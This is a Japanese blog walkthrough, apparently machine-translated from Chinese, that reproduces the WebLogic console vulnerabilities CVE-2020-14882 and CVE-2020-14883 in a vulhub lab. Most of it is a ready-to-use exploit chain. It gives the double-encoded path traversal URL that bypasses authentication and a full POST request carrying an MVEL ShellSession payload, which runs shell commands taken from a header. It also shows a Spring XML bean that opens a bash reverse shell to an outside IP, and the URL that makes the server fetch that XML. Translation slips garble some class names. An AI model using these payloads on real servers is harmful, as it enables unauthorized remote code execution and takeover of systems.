Weblogic 管理コンソールの不正なリモート コマンド実行の脆弱性が再発 (cve-2020-14882/cve-2020-14883)

免責事項: この記事は学習と参考のみを目的としています。それに含まれるすべてのリソースはインターネットからのものです。これらを違法行為に使用しないでください。さもなければ、相応の結果を自分で負うことになります。また、私は法的および共同の責任を負いません。いくつかの負債。

脆弱性の説明

Weblogic は、Oracle Corporation が発売した J2EE アプリケーション サーバーです。2020 年 10 月のアップデートで、Oracle は 2 つのセキュリティ脆弱性、つまり CVE-2020-14882 と CVE-2020-14883 を正式に修正しました。CVE-2020-14882 により、権限のないユーザーが管理コンソールの権限検証をバイパスできるようになります。バックグラウンドへのアクセス、CVE- 2020-14883 では、任意のユーザーがバックグラウンドで HTTP プロトコル経由で任意のコマンドを実行できます。これら 2 つの脆弱性で構成されるエクスプロイト チェーンを使用すると、GET リクエストを通じてリモート Weblogic サーバー上でコマンドを未承認の任意のユーザーとして実行できます。

影響を受けるバージョン

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

脆弱性の再発

脆弱性環境は vulhub を使用して構築されているため、ここでは繰り返しません。環境が起動したら、http://192.168.10.171:7001/console にアクセスしてバックグラウンド ログイン ページにアクセスします。
ここに画像の説明を挿入

権限バイパスの脆弱性

URL: http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal にアクセスすると、認証なしで管理バックグラウンド ページにアクセスできます (最初のアクセス時に 404 エラーが表示される場合があります)。訪問後は問題ありませんが
ここに画像の説明を挿入
、現在のユーザーは、アプリケーションをインストールしたり、コマンドを直接実行したりできない、権限の低いユーザーです。今回は 2 番目の脆弱性 cve-2020-14883 につながります。

リモートコマンド実行

この脆弱性を悪用するには 2 つの方法があり、1 つは com.tangosol.coherence.mv​​el2.sh.ShellSession を使用する方法、もう 1 つは com.bea.core.repackaging.springframework.context.support.FileSystemXmlApplicationContext を使用する方法です。
まず最初のメソッド com.tangosol.coherence.mv​​el2.sh.ShellSession を使用します。使用される POC は次のとおりです。

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 192.168.26.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: whoami
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

ここに画像の説明を挿入
リバウンドシェル

ここに画像の説明を挿入
リバウンドシェルの成功を見る

ここに画像の説明を挿入
ただし、com.tangosol.coherence.mv​​el2.sh.ShellSession クラスが 10.3.6 には存在しないため、この悪用メソッドは Weblogic 12.2.1 以降のバージョンでのみ悪用できます。
com.bea.core.repackages.springframework.context.support.FileSystemXmlApplicationContext は、よりパススルーなメソッドであり、CVE-2019-2725 で最初に提案され、すべての Weblogic バージョンで有効です。

まず XML ファイルを作成し、Weblogic がアクセスできるサーバーに配置します (サーバーは Python を使用して http サービスを開始できます)。

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/192.168.8.14/3340 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

次に、次の URL を介して、Weblogic にこの XML をロードさせ、その中でコマンドを実行させることができます。

http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://192.168.8.14:8888/poc.xml”)

リバウンドシェルの成功を見る

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/guo15890025019/article/details/129460345